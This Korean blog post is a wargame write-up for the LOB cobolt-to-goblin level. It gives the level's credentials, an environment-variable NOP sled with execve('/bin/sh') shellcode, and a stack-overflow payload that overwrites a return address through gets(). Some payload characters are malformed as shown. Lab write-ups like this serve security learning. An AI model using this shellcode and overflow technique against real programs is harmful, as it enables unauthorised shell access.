System&Write up/LOB

LOB cobolt -> goblin Write up

Jubil 2017. 10. 3. 16:09
반응형

LOB cobolt -> goblin

 

ID : cobolt

Passwd : hacking exposed

 


접속해서 ls 명령어로 파일과 디렉터리를 확인합니다.

 


cat 명령을 이용해서 코드를 확인합니다.

 

gremlin에서는 strcpy를 이용해서 buffer에 복사 했다면 cobolt에서는 gets로 입력을 받으니 인자 전달 방식을 다르게 해주면 될 것 같습니다.

 

환경 변수에 셸코드를 등록해보겠습니다.

export SC=$(python –c ‘print “\x90”*13000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’)



 

환경 변수의 주소를 알아내기 위해 코드를 짜고 실행하겠습니다.

 



 

환경 변수의 주소를 알아냈습니다.

 

메모리 구조를 확인하기 위해서 GDB로 디버깅 해봅시다.


스택 프레임을 16byte 할당해주네요.

 

메모리 구조는 이렇습니다.

| buffer(16) | SFP(4) | RET(4) |

 

payload를 구성해보겠습니다.

더미 20byte + Return Address 0xbfffcbd7로 변조

 

payload : (python –c print “A”*20 + “\xd7\xcb\xff\bf”’; cat) | ./goblin

 

원본 파일에 공격해보겠습니다.

 


exploit!

감사합니다.

반응형

'System&Write up > LOB' 카테고리의 다른 글

LOB wolfman -> darkelf Write up  (0) 2017.10.07
LOB orc -> wolfman Write up  (0) 2017.10.07
LOB goblin -> orc Write up  (0) 2017.10.03
LOB gremlin -> cobolt Write up  (0) 2017.10.03
LOB gate -> gremlin Write up  (0) 2017.10.03